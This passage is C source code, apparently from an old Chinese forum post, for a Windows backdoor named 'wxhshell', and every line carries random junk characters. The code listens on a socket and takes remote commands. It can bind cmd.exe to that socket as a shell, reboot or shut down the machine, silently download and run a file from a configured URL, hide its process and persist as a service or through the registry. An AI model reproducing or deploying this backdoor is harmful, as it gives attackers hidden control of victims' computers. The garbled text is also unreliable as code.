  if(DownloadFile(cmd,wsh)) 7{L4a\JzT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Tm`motzh  
  else ViPC Yt`of  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [|DKBJ  
  } 6lSz/V;  
  else { D(#f`Fj;  
N1c=cZDV  
    switch(cmd[0]) { PgWWa*Ew  
  ;u UFgDi  
  // 帮助 IOcQI:4.`  
  case '?': { Z<-_Y]4j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]:<! (  
    break; c=oDzAzuV\  
  } Gt9$hB7  
  // 安装 ;]>kp^C#  
  case 'i': { fu/8r%:h  
    if(Install()) 3 !"N;Q"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z8Q!~NN-K  
    else ,c p2Fac  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k$w~JO!s  
    break; J7+G"_)'  
    } OSgJj MQ  
  // 卸载 K,E/.Qe\C  
  case 'r': { ;b$P*dSG}  
    if(Uninstall()) ti\ ${C3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KA5)]UF`l  
    else Zd*$^P,|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?"6Zf LRi  
    break; Rh!UbEPjC  
    } v= 55{  
  // 显示 wxhshell 所在路径 U0~_'&Fe  
  case 'p': { -/yqiC-yx  
    char svExeFile[MAX_PATH]; l!mbpFt  
    strcpy(svExeFile,"\n\r"); c/;;zc  
      strcat(svExeFile,ExeFile); F"@%7xy  
        send(wsh,svExeFile,strlen(svExeFile),0); CRb8WD6.  
    break; bx0.(Nv/X  
    } WRh5v8Wz0  
  // 重启 +)Z]<O  
  case 'b': { LW %AZkAx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D'"  T'@  
    if(Boot(REBOOT)) TlqHj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PobX;Z  
    else { @T'^V0!-q:  
    closesocket(wsh); 1 ^~&"s U  
    ExitThread(0); _5oTNL2  
    } *;7y5ZJ  
    break; LD$5KaOW  
    } ~6[?=mOi'  
  // 关机 S$6|K Y u  
  case 'd': { Ma YU%h0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?YhDjQs  
    if(Boot(SHUTDOWN)) ]%\,.&=hT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kB7vc>@1  
    else { P*|N)S)X%  
    closesocket(wsh); %go2tv:|W  
    ExitThread(0); t*{L[c9.Uq  
    } ke4E 1T-1n  
    break; YW}$eW*  
    } 4>JSZ6i#n  
  // 获取shell L 4By5)  
  case 's': { }K{1Bm@S  
    CmdShell(wsh); -'rdN i  
    closesocket(wsh); peQwH  
    ExitThread(0); k(gbUlCc  
    break; |{(<A4W  
  } XJ18(Q|w'  
  // 退出 w^yb`\$  
  case 'x': { LC%o coc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z}W{ iD{  
    CloseIt(wsh); lZFu|(  
    break; &Mh.PzO=b  
    } ?OD$`{1  
  // 离开 { 3G  
  case 'q': { Y.^L^ "%dF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); : 4ryi&Y  
    closesocket(wsh); [FFr}\}bY  
    WSACleanup(); >O'\ jp}$l  
    exit(1); |'^s3i&w  
    break; ]\, ?u /  
        } _`$Q6!Z)l  
  } ^T=9j.e'ja  
  } `Os=cMR  
g4K+AK  
  // 提示信息 r\NqY.U&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GQ2GcX(E(  
} ?N#I2jxaD  
  } 727#7Bo  
f:o.[4p2  
  return; ah>c)1DA*H  
} #bOv}1,s  
c%&,(NJ]K  
// shell模块句柄 i~@gI5[k+  
int CmdShell(SOCKET sock) ]RVu[k8  
{ ddn IKkOp  
STARTUPINFO si; !:{Qbv&T  
ZeroMemory(&si,sizeof(si)); H2X_W Swm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <=(K'eqC^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7e_4sxg'(3  
PROCESS_INFORMATION ProcessInfo; ($di]lbsT  
char cmdline[]="cmd"; *zrT;j G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pF;.nt)  
  return 0; vYgJu-Sl  
} TWP@\ BQ  
}m:paB"3  
// 自身启动模式 x39tnf/F  
int StartFromService(void) ,NO[Piok  
{ [(X~C*VdxM  
typedef struct ,!= sGUQ)  
{ >,6  
  DWORD ExitStatus; ak7%  
  DWORD PebBaseAddress; >d 5-if  
  DWORD AffinityMask; }8'_M/u\  
  DWORD BasePriority; g=:o'W$@  
  ULONG UniqueProcessId; e$L C  
  ULONG InheritedFromUniqueProcessId; Et6j6gmif  
}   PROCESS_BASIC_INFORMATION; r O87V!Cj  
Z$z-Hx@%  
PROCNTQSIP NtQueryInformationProcess; 0\mf1{$"!7  
FPc `J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =!Ik5LiD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G^'We6<  
xQR/Xp!h  
  HANDLE             hProcess; Dj/Hz\  
  PROCESS_BASIC_INFORMATION pbi; ju2H 0AQ  
&r,vD,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h;=~%2Y  
  if(NULL == hInst ) return 0; \Z.r Pq  
7mtx^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d=1\=d/K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W @"Rdc-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /&6{}n  
0>[]Da}  
  if (!NtQueryInformationProcess) return 0; 6 ;'s9s"  
+G;<D@gSa0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &Wy>t8DIK  
  if(!hProcess) return 0; (N/u@M  
o0Teect=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S{llpp{E  
Mg >%EH/'  
  CloseHandle(hProcess); gY+d[3N  
:1d;jx>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]ty$/{hx'  
if(hProcess==NULL) return 0; k;qS1[a  
kB+$Kt<]L  
HMODULE hMod; Up Z 9g"  
char procName[255]; %=z>kU1|  
unsigned long cbNeeded; 7a[6@  
jd]L}%ax  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u.E>d9  
-|x7<$Hw  
  CloseHandle(hProcess); OcB&6!1u  
IAA_Ft  
if(strstr(procName,"services")) return 1; // 以服务启动 27}:f?2hbJ  
<hzHrx'o{  
  return 0; // 注册表启动 c ,#=In2  
} &q&z$Gc;m  
ll}_EUF|  
// 主模块 :TVo2Zm[@  
int StartWxhshell(LPSTR lpCmdLine) !- [ ZQ  
{ wmpQF<  
  SOCKET wsl; |keU+De  
BOOL val=TRUE; h~QQ-  
  int port=0; Uhu?G0>O  
  struct sockaddr_in door; H-t$A, [  
/#5rt&q  
  if(wscfg.ws_autoins) Install(); Wrbv<8}%c  
 Ju5Dd\  
port=atoi(lpCmdLine); xJ#O|7N  
Cw^iA U  
if(port<=0) port=wscfg.ws_port; b73}|4v  
NXLb'mH~  
  WSADATA data; .NWsr*Tel  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O-0 5.  
ZYB5s~;eB"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yfwR``F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 51% Rk,/o  
  door.sin_family = AF_INET;  irh Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .`*;AT  
  door.sin_port = htons(port); pv4#`.m  
J<NpA(@^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r}Vr_  
closesocket(wsl); Mmgm6{  
return 1; nzO -\`40  
} "4KyJ;RA*  
f x:vhEX  
  if(listen(wsl,2) == INVALID_SOCKET) { Yq/vym-O5  
closesocket(wsl); p  Dg!Cs  
return 1; 1z; !)pG.  
} 5T"h7^}e  
  Wxhshell(wsl); Tq^B>{S "  
  WSACleanup(); /_JR7BB^X,  
uR=*q a  
return 0; cEXd#TlY~X  
q-1vtbn  
} F:Vl\YZ  
"tbKbFn9  
// 以NT服务方式启动 ^tyqc8&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :\mdVS!o  
{ /2r&ga&  
DWORD   status = 0; 8eCh5*_$  
  DWORD   specificError = 0xfffffff; e2xKo1?I  
]Gj%-5G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "T8b.ng  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0/fwAp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1@-l@ P  
  serviceStatus.dwWin32ExitCode     = 0; 0m4#{^Y  
  serviceStatus.dwServiceSpecificExitCode = 0; 2#R0Bd  
  serviceStatus.dwCheckPoint       = 0; EE9eG31|r  
  serviceStatus.dwWaitHint       = 0; eHHU2^I,  
G]-\$>5R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !~mPxGY  
  if (hServiceStatusHandle==0) return; {6}$XLV3l  
I]#x0?D  
status = GetLastError(); F(U(b_DPM  
  if (status!=NO_ERROR) U~|)=+%O  
{ [8b{Yba z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 98|1K>C  
    serviceStatus.dwCheckPoint       = 0; (6)|v S  
    serviceStatus.dwWaitHint       = 0; 3D,tnn+J  
    serviceStatus.dwWin32ExitCode     = status; So NgDFD  
    serviceStatus.dwServiceSpecificExitCode = specificError; nS!m1&DeD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4{$ L]toP  
    return; meD83,L~N  
  } N]I::  
4SkCV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n2opy8J#!  
  serviceStatus.dwCheckPoint       = 0; P?=}}DI  
  serviceStatus.dwWaitHint       = 0; SR4 mbQ:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9WL$3z'*  
} {o %OG/!1  
L>`inrpz=w  
// 处理NT服务事件,比如:启动、停止 ` b)i;m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H9=8nLb.  
{ ?,r}@89pY  
switch(fdwControl) U@".XIDQ  
{ cS",Bw\  
case SERVICE_CONTROL_STOP: dY?>:ce  
  serviceStatus.dwWin32ExitCode = 0; YQ-V^e6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D'Kiy  
  serviceStatus.dwCheckPoint   = 0; &7w*=f8I  
  serviceStatus.dwWaitHint     = 0; 1?y QjW,  
  { [TmZ\t!5$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  _dVA^m  
  } _BND{MsX  
  return; ~kZ? e1H  
case SERVICE_CONTROL_PAUSE: hIo ^/_K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X$< CIZ  
  break; IP#qT `=}  
case SERVICE_CONTROL_CONTINUE: mN" g~o*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ye\ &_w"  
  break; jrO{A3<E  
case SERVICE_CONTROL_INTERROGATE: V4?]NFK  
  break; Z"9D1Uk  
}; 4='/]z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RAoY`AWI  
} ^Zq3K  
`G>BvS5h  
// 标准应用程序主函数 VBg M7d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f!}e*oX  
{ eq4Yc*|9  
"IzM:  
// 获取操作系统版本 \x~},!l  
OsIsNt=GetOsVer(); (p?B=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aB~=WWLR\  
7eyx cr;z  
  // 从命令行安装 'dd[= vzK  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~ ll+/w\4  
;TCT%j`^o  
  // 下载执行文件 Nk$OTDwP  
if(wscfg.ws_downexe) { &BRi& &f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wGx*Xy1n<  
  WinExec(wscfg.ws_filenam,SW_HIDE); g:[yA{Eh  
} ]= 9^wS  
()EiBl(kWk  
if(!OsIsNt) { i/q1>  
// 如果时win9x,隐藏进程并且设置为注册表启动 b^&nr[DC  
HideProc(); `j(-y`fo  
StartWxhshell(lpCmdLine); { VFr8F0*H  
} XjJ[7"hs*  
else hv9k9i7@l  
  if(StartFromService()) , n47.S  
  // 以服务方式启动 j%Z%_{6Ds*  
  StartServiceCtrlDispatcher(DispatchTable);  pytF K)U  
else f/%Q MhM:  
  // 普通方式启动 M>|R&v  
  StartWxhshell(lpCmdLine); 7\Wq:<JL  
PG'+vl  
return 0; W4S! rU  
}
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只看该作者 1 发表于: 2006-10-10
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